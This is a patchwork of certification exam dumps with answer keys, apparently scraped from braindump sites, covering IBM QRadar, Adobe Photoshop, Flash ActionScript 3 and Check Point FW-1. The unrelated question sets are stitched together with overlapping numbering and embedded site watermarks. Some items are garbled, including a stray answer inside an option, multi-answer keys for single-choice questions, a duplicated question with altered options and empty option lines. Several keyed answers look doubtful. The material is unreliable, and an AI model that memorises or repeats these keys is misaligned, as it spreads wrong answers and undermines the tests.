collision domain. The expansion will be as cost-effective as possible while still satisfying the requirements.
Which three options can correctly fulfill the request? (Choose three).

A. one IP subnet with a mask of 255.255.254.0
B. seven 48-port hubs
C. seven 48-port switches
D. one router interface
Correct Answer: ACD

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QUESTION 1
The following message is displayed in the System Notification Widget on the Dashboard:

Which script should be run to help determine the cause of the dropped events?
A. /opt/qradar/support/dumpGvData.sh
B. /opt/qradar/support/dumpDSMInfo.sh
C. /opt/qradar/support/cleanAssetModel.sh
D. /opt/qradar/support/findExpensiveCustomRules.sh

Correct Answer: D QUESTION 2
What is used to collect netflow and jflow traffic in a QRadar Distributed Deployment?
A. QRadar 3105 Console
B. QRadar 1705 Processor
C. QRadar 1605 Processor
D. QRadar 700 Risk Manager

Correct Answer: A QUESTION 3
What should the format of a CSV file be while importing assets on the QRadar console?
A. ip,portweight,description
B. ip,name,weightmagnitude
C. ip.name.weight.description
D. ip.name.severity.description

Correct Answer: C QUESTION 4
Which option needs to be specified in the syslinux configuration file to reinstall an IBM QRadar appliance via serial port from an USB flash-drive?
A. USB to serial
B. Default serial
C. Serial to USB
D. serial redirect

Correct Answer: B QUESTION 5
With a Data Deletion Policy of “When storage is required”, data will remain in storage until which scenario is reached?
A. If used disk space reaches 88% for records and 85% for payloads.
B. If used disk space reaches 85% for records and 88% for payloads.
C. If used disk space reaches 85% for records and 83% for payloads.
D. If used disk space reaches 83% for records and 85% for payloads.

Correct Answer: C
QUESTION 6
Which two actions can be selected from the license drop-down in the system and license management screen when working with a new license? (Choose two.)
A. Apply license
B. Upload license
C. Allocate license to system
D. Allocate system to license
E. Register system to license

Correct Answer: AC
QUESTION 7
How frequently does the Automated Update Process run if Configuration files are updated on Primary and then Deploy Changes is not performed, and the updates are made on the Secondary host through an Automated Update Process?
A. Every 10 minutes
B. Every 15 minutes
C. Every 30 minutes
D. Every 60 minutes

Correct Answer: D
QUESTION 8
What two are valid actions that a user can perform when monitoring offenses? (Choose two.)
A. Import offenses
B. Backup offenses
C. Restore offenses
D. Send email notifications
E. Hide or close an offense from any offense list
Correct Answer: BE
QUESTION 9
What is a valid QVM scan status?
A. Active
B. Paused
C. Scanning
D. Complete
Correct Answer: A
QUESTION 10
Which NetFlow versions does QRadar SIEM support?
A. 1, 2, 3, and 4
B. 1, 4, 7, and 9
C. 1, 3, 5, and 9
D. 1, 5, 7, and 9

Correct Answer: D QUESTION 11
How do you view Raw Events on the Log Activity tab?
A. Select “Raw Events” from the View list box
B. Select “Raw Events” from the Actions list box
C. Select “Raw Events” from the Display list box
D. Select “Raw Events” from the Quick Searches list box

Correct Answer: C QUESTION 12
There is a requirement at the customer site to double the default QFlow Maximum Content Capture size. What would be the resulting packet size?
A. 64 bytes
B. 128 bytes
C. 256 bytes
D. 1024 bytes

Correct Answer: B QUESTION 13
What is the result when adding host definition building blocks to QRadar?
A. Creates Offenses
B. Reduces false positives
C. Makes searches run faster
D. Authorizes QRadar Services

Correct Answer: B QUESTION 14
What is used to collect netflow and jflow traffic in a QRadar Distributed Deployment?
A. QRadar 3124 Console
B. QRadar 1624 Processor
C. QRadar 1724 Processor
D. QRadar 700 Risk Manager

Correct Answer: A QUESTION 15
What will be restored when restoring event data or flow data for a particular period to a MH?
A. Only data sent to the console for that time period is restored to the MH.
B. Only event data or flow data for the MH being restored will be restored to that MH.
C. Only data that was accumulated for reports and searches will be restored to the MH.
D. All data for all MHs for a specific time period is restored to its respective hosts in the deployment.

Correct Answer: B QUESTION 16
Where do you save the “Login Message File” on the system when setting up a banner message for the authentication page?

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QUESTION 56
You have made a selection using a selection tool. You want to create a custom brush from the selection.
Which should you choose?
Options:

A. Edit > Preset Manager
B. Edit > Define Brush Preset
C. From the Brushes panel options menu, choose Save Brushes.
D. From the Brushes panel options menu, choose Special Effect Brushes.

Correct Answer: B
QUESTION 57
While retouching your image you want to control the opacity of the tool. Which should you choose? Options:
A. Patch Tool
B. Clone Stamp Tool
C. Healing Brush Tool
D. Spot Healing Brush Tool

Correct Answer: B
QUESTION 58
You want to remove a small imperfection in a photo. Which retouching tool automatically samples from
around the retouched area and matches the texture, lighting, and transparency of the sampled pixels to
the pixels being healed?
Options:

A. Patch tool
B. Clone Stamp tool
C. Healing Brush tool
D. Spot Healing Brush tool

Correct Answer: D
QUESTION 59
You are retouching an image by using the Healing brush. You want the image of your current source point
to display only within your brush shape. Which should you choose in the Clone Source panel?
Options:

A. Show Overlay on, clipped off
B. Show Overlay off, clipped on
C. Show Overlay off, clipped off
D. Show Overlay on, clipped on

Correct Answer: D
QUESTION 60
How should you set the transparency level for a particular point on a gradient? Options:
1.

2.

3.
4.
A. Apply the gradient to a new layer and set the opacity of the layer
B. Set the opacity in the Gradient tool options bar and then apply the gradient
C. In the Gradient Editor adjust the color stop below the gradient bar
D. In the Gradient Editor adjust the transparency stop above the gradient bar

Correct Answer: D QUESTION 61
You are creating a smooth color gradient. Which steps will allow you to select a color you have previously
defined as the starting color of the gradient?
Options:

A. Click A and display the Swatches panel.
B. Click B and click Load.
C. Click C, open the Swatches panel, and select a color.
D. Double-click C.

Correct Answer: C QUESTION 62
You want to apply a filter to an image layer and be able to adjust the filter at a later time. Before applying
the filter, what should you do to enable later editing of the filter?
Options:

A. Convert the layer to a Smart Object.
B. Add a Selective Color Adjustment layer.
C. Change the image mode to 16 Bits/Channel.
D. Add a Solid Color Fill layer and set the opacity to 0%.

Correct Answer: A QUESTION 63
You need to select an area of your image that is comprised of seven straight edges. Which tool should you
use?
Options:

A. Lasso tool
B. Magnetic Lasso tool
C. Polygonal Lasso tool
D. Rectangular Marquee tool

Correct Answer: C QUESTION 64
You want to quickly select an object that has complex edges and is set against a high-contrast
background. Which selection tool should you use?
Options:

A. Lasso tool
B. Magic Wand tool
C. Magnetic Lasso tool
D. Polygonal Lasso tool

Correct Answer: C QUESTION 65
You want to select an orange object in an image. You choose Select > Color Range and click the orange
object. However, there is another object that is exactly the same color in a different part of the image,
which you don’t want to select. Which method will select only the desired orange object without having to
leave the Color Range dialog box?
Options:

A. Select Localized Color Clusters and adjust the Range slider.
B. Select the Subtract from Sample eyedropper and click the unwanted object.
C. Decrease the value of the Fuzziness slider.
D. Select the Eyedropper and Option-click (Mac OS) or Alt-click (Windows) the unwanted object.

Correct Answer: A
QUESTION 66
Which action loads a previously saved selection into an image? Options:
A. Drag the channel containing the selection you want to load onto the image area.
B. Alt-click (Windows) or Option-click (Mac OS) the channel containing the selection you want to load.
C. Ctrl-click (Windows) or Command-click (Mac OS) the channel containing the selection you want to load.
D. Drag the channel containing the selection over theicon at the bottom of the Channels panel.

Correct Answer: C
QUESTION 67
You have saved a selection. Where should you view the saved selection? Options:
A. Layers panel
B. Paths panel
C. Masks panel
D. Channels panel

Correct Answer: D
QUESTION 68
You have defined a text layer as text replacement variable. What should you do next? Options:
A. Define Data Sets
B. Create an action
C. Write a script
D. Create a droplet

Correct Answer: A
QUESTION 69
You have created a selection using the elliptical marquee and want to increase its size to match a section
of your image while maintaining its proportions. Which should you choose?
Options:

A. Edit > Free Transform
B. Edit > Transform > Scale
C. Select > Modify > Border
D. Select > Transform Selection
Correct Answer: D QUESTION 70
You have selected some pixels. You want to sharpen the selection edge and remove fuzzy artifacts using
Refine Edge. Which option should you adjust?
Options:

A. Radius
B. Feather
C. Smooth
D. Contrast

Correct Answer: D
QUESTION 71
Your selection edge has several areas with fine detail. You want to create a more exact selection
boundary around those areas by changing the size of the area around the selection edge. Which option
should you use first in the Refine Edge dialog box to make that adjustment?
Options:

A. Radius
B. Contrast
C. Smooth
D. Feather

Correct Answer: A
QUESTION 72
Which option in the Refine Edge dialog box will sharpen the selection edge and remove fuzzy artifacts? Options:
A. Radius
B. Contrast
C. Smooth
D. Feather

Correct Answer: B
QUESTION 73
You have made a selection of a group of pixels in your image. You want to copy these pixels to their own
layer. What should you do?
Options:

A. Click the New Layer button on the Layers panel
B. Click the New Layer Group button on the Layers panel
C. Choose Layer > New > Layer
D. Choose Layer > New > Layer via Copy

Correct Answer: D
QUESTION 74
You are currently editing a Photoshop file with three layers and NO layer groups. You select the second layer and choose Layer > New Layer to create a new layer. Where will the new layer be placed? Options:
A. Above the selected layer
B. Below the selected layer
C. At the top of the existing layers
D. At the bottom of the existing layers

Correct Answer: A
QUESTION 75
A document contains five layers of the same size, distributed unevenly from the left edge to the right edge of the image. They’re all selected in the Layers panel, and the Move tool is selected. How should you evenly distribute the layers along a horizontal axis?

Options:
A. Click the Arrange Documents button in the Options bar and then click the Tile All Horizontally button
B. Choose File > Automate > Fit Image
C. Choose Layer > Align > Horizontal Centers
D. Click the Distribute Horizontal Centers button on the Options bar

Correct Answer: D
QUESTION 76
You have multiple layers in an image. You would like to align the top edge of each of the layers. Which
should you choose?
Options:

A. Edit > Auto-Align Layers
B. Edit > Auto-Blend Layers
C. Layer > Align > Top Edges
D. Layer > Align > Right Edges

Correct Answer: C
QUESTION 77
Why would you create layer comps? Options:
A. To create multiple variations of a layout in a single Photoshop file
B. To apply attributes or masks to multiple layers simultaneously
C. To transform one or more layers of content without directly editing image pixels
D. To organize multiple layers by placing them under a single category that can be expanded and collapsed allowing you to reduce the number of visible layers

Correct Answer: A
QUESTION 78
You’re preparing three alternative designs for a client. All three alternatives use the same five layers; the only difference is that they’re arranged differently on the canvas. You’d like to arrive at the client site, open the document, and immediately display each arrangement with a single click. How should you store the layer arrangements? Options:
A. Create a layer group for each design alternative.
B. Create a layer comp for each design alternative
C. Create a layer mask for each design alternative.
D. Create a history state for each design alternative.
Correct Answer: B QUESTION 79
You add a solid color layer above a grayscale image layer. Which blending mode should you apply to the
color layer to colorize the grayscale layer, using the hue and saturation of the color layer while preserving
the gray levels of the grayscale layer?
Options:

A. Dissolve
B. Difference
C. Exclusion
D. Color

Correct Answer: D
QUESTION 80
You are applying multiple layer effects to different layers in your image. Which setting will ensure that all
effects that use a lighting angle will have the same lighting angle?
Options:.

A. Layer Knocks Out Drop Shadow
B. Use Global Light
C. Blend Mode set to Normal
D. Blend Mode set to Multiply

Correct Answer: B
QUESTION 81
When using layer effects, which option ensures that the lighting angle is the same for all of the effects? Options:
A. Angle
B. Contour
C. Linear Light
D. Use Global Light

Correct Answer: D
QUESTION 82
You want to edit an existing layer style. Which action will enable you to edit one or more effects defined by
the layer style?
Options:

A. Double-click an effect displayed below the layer name in the Layers panel.
B. Alt-click (Windows) or Option-click (Mac OS) an effect displayed below the layer name.
C. Alt-click (Windows) or Option-click (Mac OS) the layer name in the Layers panel.
D. Right-click or Control-click (Mac OS) the layer name in the Layers panel and select Layer Properties.

Correct Answer: A
QUESTION 83
Which set of attributes can you save in the Styles panel? Options:
A. The stacking order and visibility of layers
B. 18-point Helvetica Bold type formatting
C. Drop Shadow settings combined with a Gradient Overlay effect
D. A calligraphic brush that uses stylus pressure to set brush size
Correct Answer: C QUESTION 84
Which command will allow you to convert a color image to black and white with the most control while NOT
directly editing image pixels?
Options:

A. Image > Mode > Grayscale
B. Image > Adjustments > Black & White
C. Image > Adjustments > Channel Mixer
D. Layer > New Adjustment Layer > Black & White

Correct Answer: D
QUESTION 85
You want to convert a color image to black and white. Which technique will allow you to nondestructively
edit the mapping of the image’s color to grayscale values?
Options:

A. Image > Adjustments > Black & White
B. Layer > New Adjustment Layer > Black & White
C. Image > Mode > Grayscale
D. Image > Mode > Duotone

Correct Answer: B
QUESTION 86
You want to hide a portion of a layer. You want to do this in an editable, non-destructive manner. Which
should you create?
Options:

A. a layer mask
B. a smart object
C. an alpha channel
D. a spot color channel

Correct Answer: A
QUESTION 87
Explain the uses of masks and channels. How should you accurately preserve a selection for future
editing?
Options:

A. Create a work path
B. Create a new adjustment layer
C. Save the selection as a channel
D. Edit the selection in the Quick Mask Mode

Correct Answer: C
QUESTION 88
You have applied a layer mask to a layer in your image. By painting in the mask with black you have
hidden a portion of the layer. You decide that you would like to reveal the hidden areas and hide the areas
that are currently visible. Which should you choose in the Masks panel?
Options:

A. Density
B. Feather
C. Color Range
D. Invert

Correct Answer: D QUESTION 89
Using the Masks panel, you have made a pixel mask active and you want to add to the mask, hiding an
additional area of the image. How should add to the mask?
Options:

A. In the Masks panel, increase the Feather.
B. In the Masks panel, decrease the Density.
C. Using the Brush tool, paint the areas that you want to hide with black.
D. Using the Brush tool, paint the areas that you want to hide with white.

Correct Answer: C QUESTION 90
You are currently viewing only the Blue channel of an RGB image. The Blue channel is also selected for
editing. What should you do to view only the Red channel and target it for editing?
Options:

A. Click the Red channel name.
B. Click the eye column next to the Red channel.
C. Alt-click (Windows) or Option-click (Mac OS) the eye column next to the Red channel.
D. Control-click (Windows) or Command-click (Mac OS) the Red channel name.

Correct Answer: A QUESTION 91
Which command should you choose to create a new channel? Options:
A. Select > Save Selection
B. Select > Transform Selection
C. Channel Panel Menu > Panel Options
D. Channel Panel Menu > Channel Options

Correct Answer: A QUESTION 92
When should you use a vector mask instead of a layer mask? Options:
A. When you want to create an adjustment layer based on sampled colors in an image.2
B. When you want to create a resolution-dependent mask based on a selection you made with the Magic Wand tool.
C. When you want to hide a portion of an image and be able to edit the hidden area at a later time using the Brush tool.
D. When you want to add a design element to your image that was created with a shape tool and has a clean, precise edge.

Correct Answer: D QUESTION 93
You want to vary the intensity of different areas of an adjustment layer. What should you do? Options:
A. Use a channel
B. Use the Quick Selection tool
C. Use a pixel mask
D. Use a vector mask

Correct Answer: C QUESTION 94
You want to use the content in a base layer to hide pixels in the layer above. Which should you create? Options:
A. a layer mask
B. a clipping mask
C. a vector mask
D. an alpha channel

Correct Answer: B QUESTION 95
You want to confine the effects of an adjustment layer to just one layer below it. Which should you
choose?
Options:.

A. Select > All Layers
B. Layer > Create Clipping Mask
C. Layers Panel Menu > Lock Layers
D. Layer > Layer Style > Blending Options

Correct Answer: B QUESTION 96
You have created and modified a Quick Mask. Which action will convert the mask to a selection and return
you to Standard Editing mode?
Options:

A. Click in the toolbox.
B. Click in the Layers panel.
C. Choose Select > Load Selection
D. Choose Layer > Layer Mask > Reveal All.

Correct Answer: A QUESTION 97
You want to create several variations of your Photoshop document where a text layer changes based on
data that you have defined. What should you do?
Options:

A. Create a variable
B. Create a layer comp
C. Create a layer style
D. Create a smart object

Correct Answer: A QUESTION 98
You are drawing a series of curved path segments with the Pen tool. How should you create a corner
anchor point?
Options:

A. Drag from the last anchor point while pressing Shift.
B. Drag from the last anchor point while pressing Alt (Windows) or Option (Mac OS).
C. Drag from the last anchor point while pressing Control (Windows) or Command (Mac OS).
D. Drag from the last anchor point while pressing Control + Shift (Windows) or Command + Shift (Mac OS).

Correct Answer: B
QUESTION 99
What advantage does a shape created from a vector drawing tool have over a shape created with a
pixelbased tool?
Options:

A. The shape is resolution-dependent and can be easily modified using the Brush tool.
B. The shape is resolution-independent and able to maintain crisp and defined edges when resized.
C. The shape can more efficiently represent the subtle gradations of shades within a photograph.
D. None of above

Correct Answer: B
QUESTION 100
Which tool gives you the option to create a Shape Layer? Options:
A. Pen tool
B. Brush tool
C. Horizontal Type tool
D. Rectangular Marquee tool

Correct Answer: A
QUESTION 101
You have drawn a path using the Pen tool. You want to save this path before creating a new path. What
should you do?
Options:

A. Nothing. It is automatically saved in the Paths Panel.
B. Deselect the path.
C. In the Paths Panel, double click the name Work Path and give it a new name.
D. Click the Create new path button at the bottom of the Paths Panel.

Correct Answer: C
QUESTION 102
You need to add a clipping path to an image. A path already exists in the Paths panel. Why is the Clipping Path command unavailable?

Options:
A. The path isn’t closed
B. The path is a Work Path
C. The path isn’t a Work Path
D. The path isn’t selected using the Path Selection tool

Correct Answer: B QUESTION 103
You have created a type layer. Currently the type is horizontal. How should you change it to vertical? Options:
A. Choose Edit > Transform > Rotate
B. Choose Edit > Transform > Flip Vertical
C. Click the Text Orientation button in the options bar
D. Use the Character panel to set the vertical scale to 50%

Correct Answer: C QUESTION 104
Which is an advantage of using Camera Raw to process digital camera raw files? Options:.
A. Camera Raw can modify the raw data in a camera raw image.
B. Camera Raw includes support for all digital camera models.
C. When you use Camera Raw to make adjustments to a camera raw image, the image’s original camera raw data is preserved.
D. Camera Raw allows you to change the settings in your camera.

Correct Answer: C QUESTION 105
You have converted a Camera Raw file to a Photoshop document. Which aspect of Camera Raw processing CANNOT be repeated after a Raw file is converted to a Photoshop document? Options:
A. You want to recover as much highlight data as possible
B. You want to correct chromatic aberration
C. You want to use the Vibrance feature
D. You want to apply a sharpening mask

Correct Answer: A
QUESTION 106
You are working in Camera Raw. You would like to lighten the shadow areas of an image without
brightening the blacks. Which setting should you choose?
Options:

A. Exposure
B. Recovery
C. Fill Light
D. Brightness

Correct Answer: C
QUESTION 107
What feature in Camera Raw should you use to aid in reconstructing some detail from areas where one or
two color channels are clipped to white?
Options:

A. Clarity
B. Vibrance
C. Exposure
D. Recovery

Correct Answer: D
QUESTION 108
When saving images in Camera Raw, which file format allows you to turn the JPEG Preview on or off? Options:
A. TIFF
B. JPEG
C. PSD
D. DNG

Correct Answer: D
QUESTION 109
You would like to download photos directly from your camera. In the process you would like to convert
them to DNG and rename them. Which should you choose?
Options:

A. In Bridge, choose File > Get Photos from Camera
B. In Bridge, choose Tools > Batch Rename
C. In Photoshop, choose Browse in Bridge
D. In Photoshop, choose Automate > Create Droplet
Correct Answer: A QUESTION 110

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QUESTION 68
You have used the Bone tool to animate an arm moving.
Which tool can be used to limit the degree each joint of the arm can rotate?

A. Bind tool
B. Free Transform tool
C. Rotation tool
D. Selection tool

Correct Answer: A QUESTION 69
Which must be true before using the Bone tool and inverse kinematics?
A. ActionScript 1.0, ActionScript 2.0 or ActionScript 3.0 can be specified as the movie’s script setting.
B. Only ActionScript 3.0 can be specified as the movie’s script setting.
C. ActionScript 2.0 or ActionScript 3.0 can be specified as the movie’s script setting.
D. Only ActionScript 2.0 can be specified as the movie’s script setting.

Correct Answer: B QUESTION 70
Which Date() constructor returns a Date object containing the current date and time, in local time based on your time zone?
A. var now:Date = new Date();
B. var now:Date = new Date(24);
C. var now:Date = new Date(2009, 0, 1, 0, 0, 0, 0);
D. var now:Date = new Date(“C”urrent”);

Correct Answer: A QUESTION 71
You create the following string in ActionScript 3: TestInside Help You Pass Any IT Exam
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var str:String = “Adobe”;
Which statement will output to the Output panel the number of characters in the string?

A. trace(str.chars)
B. trace(str.charNum)
C. trace(str.length)
D. trace(str.size)

Correct Answer: C QUESTION 72
Which property of the MovieClip class is modified when an object is rotated with the Free Transform tool?
A. rotationX
B. rotationY
C. rotationZ
D. rotation

Correct Answer: C QUESTION 73
You want to create and display an empty TextField in ActionScript 3.0. Which statement should you use?
A. addChild(new TextField());
B. createEmptyTextField();
C. createTextField();
D. addChild(TextField);

Correct Answer: A QUESTION 74
A textfield has a string of characters within it. Which method or property will reformat the existing contents using an instance of the TextFormat class?
A. setTextFormat() method.
B. defaultTextFormat property.
C. setNewTextFormat() method.
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Correct Answer: A
QUESTION 75
Which statement should you use to create an instance of the Date class?
A. var myDate:Date = new Date();
B. var myDate:Date = Date.Now;
C. var myDate:Date = Date();
D. var myDate:Date = getDate();

Correct Answer: A QUESTION 76
Given the following ActionScript statement:
var now:Date = new Date();
Which is the datatype?

A. var
B. now
C. Date
D. new
E. Date()

Correct Answer: C QUESTION 77
Which statement about an interface is true?
A. Use the extends keyword to apply an interface to a class
B. Getters and setters can be defined in an interface
C. Properties can be defined in an interface
D. ActionScript 3.0 does not support the use of interfaces

Correct Answer: B QUESTION 78
Which keyword applies an interface to a class?
A. implements
B. extends
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D. interfaces

Correct Answer: A QUESTION 79
Which ActionScript keyword indicates that a class inherits from another class?
A. extends
B. new
C. inherits
D. subclass

Correct Answer: A QUESTION 80
Which ActionScript keyword prevents a class property from being inherited by ANY subclasses?
A. public
B. private
C. protected
D. internal

Correct Answer: B QUESTION 81
Given the code below, which statement best describes the relationship between Class1 and Class2? package \{ public class Class1 extends Class2 \{ } }
A. Class2 extends Class1
B. Class1 is a super class of Class2
C. Class2 is a super class of Class1
D. Class2 inherits all properties and methods of Class1

Correct Answer: C QUESTION 82
Which keyword is associated with creating subclasses?
A. implements
B. extends
C. inherits
D. subclass

Correct Answer: B QUESTION 83
Which is an advantage of using the Document class as implemented in ActionScript 3?
A. You no longer have to write any code in any frame on the main timeline.
B. The Document class is the final code executed in any SWF file.
C. Use of the Document class prevents the need for external ActionScript files.
D. The Document class cannot contain any functions, allowing for decentralized storage.

Correct Answer: A QUESTION 84
Which class must a Document class extend in ActionScript 3.0?
A. EventDispatcher
B. Sprite
C. Document
D. A Document class is not required to extend any specific class.

Correct Answer: B QUESTION 85
Given the following statement:
var catalog:XML = <products>
<product id=”001″ name=”Widget” price=”19.95″ />
</products>;
Which is the correct way to access the name attribute?

A. products.product.attributes.name;
B. [email protected];
C. catalog.product.attributes.name;
D. [email protected]; TestInside Help You Pass Any IT Exam http://www.TestInside.com Testinside

Correct Answer: D
QUESTION 86
You want to load external text into a Flash movie. Which two steps should you complete? (Choose two.)
A. Create a textfield in Flash and set the text type to Dynamic Text and assign it a variable name.
B. Create a textfield in Flash and set the text type to Input Text and assign it a variable name.
C. Create a textfield in Flash and set the text type to Static Text and assign it a variable name.
D. Use the loadVariables action.
E. Use the loadMovie action.

Correct Answer: AD QUESTION 87
Which image type will perform best in a Flash Movie?
A. JPG
B. Vector Graphics
C. Shape Primitive

D. Path Correct Answer: A QUESTION 88
You need to test your application for dial-up, DSL, cable and LAN connections.
Which option when running a SWF through Flash allows you to test this performance?

A. Preview the SWF in a web browser.
B. While testing the SWF in Flash, select Simulate Download.
C. Run the Performance Analyzer.
D. Right-click on the SWF and select Performance Test.

Correct Answer: B QUESTION 89
Which statement about the ActionScript 3 Debugger is true?
A. The ActionScript 3 Debugger is backwards compatible with ActionScript 2.
B. FLA files must have publish settings set to Flash Player 10 or higher.
C. Special information is added to the SWF file allowing the debugger to provide the specific line numbers in the code where errors are encountered. TestInside Help You Pass Any IT Exam http://www.TestInside.com Testinside
D. After the ActionScript execution is interrupted at a breakpoint or runtime error, you cannot choose to continue executing the code without stepping.

Correct Answer: C QUESTION 90
Which should you use to halt the debugger at a specific line of ActionScript?
A. stoppoint
B. breakpoint
C. trace statement
D. break statement Correct Answer: B

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QUESTION 127
What is the name of the traffic capture tool that is available on Unix platforms?
A. Network monitor
B. Snoop
C. Sniffer
D. Tcpdump
Correct Answer: B
QUESTION 128
When initially setting up high availability, where would you enable the high availability services?
A. The cpconfig utility
B. The fwstart script
C. The management server global properties screen
D. The gateway cluster properties screen
Correct Answer: A
QUESTION 129
What is true about hardening the operating system of a firewall gateway?
A. It is only necessary on a Solaris platform
B. It is necessary on both Solaris and NT platforms
C. It is not necessary
D. It is only necessary on an NT platform

Correct Answer: B QUESTION 130
What command would you use to initiate a packet capture on a Unix machine?
A. snoop -o filename
B. tcpdump -i filename
C. snoop -i filename
D. tcpdump -o filename

Correct Answer: A QUESTION 131
If you use the -a option in the “fw dbexport” command to export a subset of the possible user attributes. What happens if you import the exported file back into the FW-1 user database using the “fw import” command?
A. The database is merged with the subset database
B. You will get a warning, stating that you may delete part of your database
C. The process will error with no change to the original database
D. The database is overwritten with the subset database

Correct Answer: D QUESTION 132
How do you remake a connection between a management server and a firewall module, if not using backward compatibility?
A. Reboot
B. Bounce the management server
C. Remake the SIC connection
D. Remake the putkey association

Correct Answer: C QUESTION 133
What is true about the following command? snoop -i filename | more
A. The file named “filename” contains raw captured traffic
B. It analyses captured traffic
C. It will continue the display until it ends
D. It captures traffic

Correct Answer: AB QUESTION 134
When configuring automatic synchronization for HA management modules, which is NOT a valid trigger for the synchronization to take place?
A. When the policy is installed
B. When the policy is saved
C. Regularly after a specified period
D. When you log off the GUI client

Correct Answer: D
QUESTION 135
To create synchronization between gateways in NG, which file do you need to edit?
A. conf.sync
B. sync.conf
C. None
D. rulebases.fws

Correct Answer: C
QUESTION 136
When a primary gateway cluster member fails another will take over. When the primary recovers what is true?
A. The action depends on the configuration of the ClusterXL screen of the cluster properties
B. The primary always resumes primary function
C. The action depends on the configuration of the Cluster member gateway general properties
D. The primary will become a lower priority and not resume its primary function

Correct Answer: A
QUESTION 137
When exporting a checkpoint user database for importation to an LDAP server, what format should the output file take?
A. LDAP
B. Binary
C. LDIF
D. HTTP
Correct Answer: C
QUESTION 138
Which of the following are termed CPMAD global parameters?
A. MAD_Memory
B. MAD_syn_attack_action
C. MAD_number_of_connection_attempts
D. MAD_anti_spoofing_mode AC
Correct Answer: AC
QUESTION 139
What is true about the effects of configuring a high MAD_clean_interval in CPMAD?
A. It reduces CPU utilization
B. It increases CPU utilization
C. It decreases memory usage
D. It increases memory usage

Correct Answer: AD QUESTION 140
What is the meaning of the “collision” status when seen against a secondary management module?
A. Synchronization was attempted from both primary and secondary at the same time
B. The primary management module database lags behind the secondary
C. Both the primary and secondary management module have independently updated databases since the last synchronization
D. Synchronization has failed due to network problems

Correct Answer: C QUESTION 141
If you want to use information from a cpinfo file produced by a Windows platform, you first need to perform a series of operations to extract the file concerned. True or false?
A. False
B. True

Correct Answer: A QUESTION 142
What command would you use on a Solaris machine to increase the amount of memory allocated to the kernel to approximately 16Mbytes?
A. set fw:fwhmem=0x16
B. set fw:fwhmem=0x10
C. set fw:fwhmem=0x1000000
D. set fw:fwhmem=0x16000000

Correct Answer: C QUESTION 143
How would you specify the primary member of a gateway cluster?
A. On the gateway cluster properties screen select “cluster members”, then arrange priority sequence using the increase and decrease priority buttons
B. On the gateway cluster properties screen select “cluster members”, then select priority number (1 is the highest)
C. On the member gateway properties general screen arrange priority sequence using the increase and decrease priority buttons
D. On the member gateway properties general screen select priority number (1 is the highest)

Correct Answer: A QUESTION 144
Which debug option will gather information regarding the accept or drop action performed on traffic?
A. ioctl
B. packet
C. driver
D. kbuf

Correct Answer: B QUESTION 145
Which of the following files is held on a management module and cotains the whole rulebase?
A. rulebases_5_0.C
B. objects.C
C. objects_5_0.C
D. rulebases_5_0.fws

Correct Answer: D
QUESTION 146
In the peer status area of the high availability management module screen of the active server, there are defined status levels that can apply to a peer module. Which status implies that a secondary module has a later version of the database than the primary?
A. Advanced
B. Lagging
C. Collision
D. Never Synchronized

Correct Answer: A
QUESTION 147
On a Windows platform, you can enable VPN and IKE logging by setting an environment variable. What is the command to do that?
A. Setenv VPN_DEBUG 1
B. Setenv VPN_DEBUG 0
C. Set VPN_DEBUG=0
D. Set VPN_DEBUG=1

Correct Answer: D
QUESTION 148
To configure a fully overlapping encryption domain, what type of group(s) do you need to configure?
A. A group containing both gateways and all the networks they protect
B. A group containing both gateways only
C. A group containing all the networks that both gateways protect
D. Two groups, one containing both gateways and the networks that one protects. The other containing both gateways and the networks the other protects.

Correct Answer: A
QUESTION 149
What is the approximate memory requirement of a simple (I.e. not authenticated or encrypted) connection in VPN-1/FW-1?
A. 3 Kbytes
B. 70 bytes
C. 10 bytes
D. 1 Kbytes

Correct Answer: B
QUESTION 150
If you want to run the cpinfo utility to gather diagnostic information for a problematic enforcement module in a distributed system, what is true?
A. You should run cpinfo on the enforcement module only
B. You should run cpinfo on all the modules in the distributed system
C. You should run cpinfo on both the management and enforcement modules
D. You should run cpinfo on the management module only

Correct Answer: C QUESTION 151
Which two types of overlapping encryption domains are supported by FW-1?
A. Partial overlap
B. Full overlap
C. Proper subset
D. Partial subset

Correct Answer: BC QUESTION 152
Which is NOT a valid log file maintained on the SecuRemote client?
A. sr_watchdog_tde.log
B. sr_service_<serial number>.log
C. sr_background_tde.log
D. sr_gui_tde.log

Correct Answer: C QUESTION 153
Which debug option will gather information about input/output control messages, such as loading of FW-1 or kernel to daemon communications?
A. kbuf
B. ioctl
C. misc
D. driver

Correct Answer: B QUESTION 154
It is not possible to use two gateways running a standalone installation in an MEP environment. True or false?
A. False
B. True

Correct Answer: B QUESTION 155
How would you use a policy editor gui in local mode when using FW-1 NG FP-2?
A. Enter *local in the “management server” box of the GUI login screen
B. Check the “demo mode” box of the GUI login screen
C. Enter demo_mode in the “management server” box of the GUI login screen
D. Enter *local in the “user name” box of the GUI login screen

Correct Answer: AB QUESTION 156
How would you restart CPMAD on a firewall?
A. $FWDIR/conf/fwstart
B. $FWDIR/bin/cpmad
C. $FWDIR/cpmad/fwstart
D. $FWDIR/bin/fwstart

Correct Answer: D QUESTION 157
What is used by FW-1 to create a SIC certificate?
A. External CA
B. Putkey
C. LDAP
D. Internal CA

Correct Answer: D QUESTION 158
How would you find more information about the “fw tab” options?
A. fw tab help
B. fw tab -h
C. fw tab -?
D. fw tab options -h

Correct Answer: B QUESTION 159
What is contained in the rulebases.fws file?
A. Auditing information
B. All rulebases
C. All rulebases plus auditing information
D. Only the rulebase from the last load

Correct Answer: B QUESTION 160
When using management high availability, you can synchronize from the primary or secondary management server. True or false?
A. False
B. True

Correct Answer: A QUESTION 161
On a SecuRemote client, in which directory are the log files located?
A. $CPDIR/log
B. $SCDIR/log
C. $SRDIR/log
D. $FWDIR/log

Correct Answer: C QUESTION 162
If you were having problems with a CVP server, you may want to capture traffic to and from the server. What could you do to get this information?
A. Run “fw monitor” for port 18182 on the interface connected to the management server
B. Run “fw monitor” for port 18182 on the interface connected to the CVP server
C. Run “fw monitor” for port 18181 on the interface connected to the management server
D. Run “fw monitor” for port 18181 on the interface connected to the CVP server

Correct Answer: D
QUESTION 163
When using backward compatibility, what is true?
A. It restricts inter-module communications to the putkey method
B. It allows the management of 4.1 gateways
C. It restricts inter-module communication to the SIC method
D. It allows the use of the old putkey function

Correct Answer: BD
QUESTION 164
Why would you disable NetBEUI on a FW-1 Windows Platform?
A. It can cause FW-1 to crash
B. It clashes with internal FW-1 protocols
C. It is an inefficient protocol
D. It is a security risk
Correct Answer: D
QUESTION 165
What does “resolver_ttl” do in relation to SecuRemote configuration?
A. Specifies the interval in seconds between RDP status queries
B. Specifies that RDP status queries are sent automatically
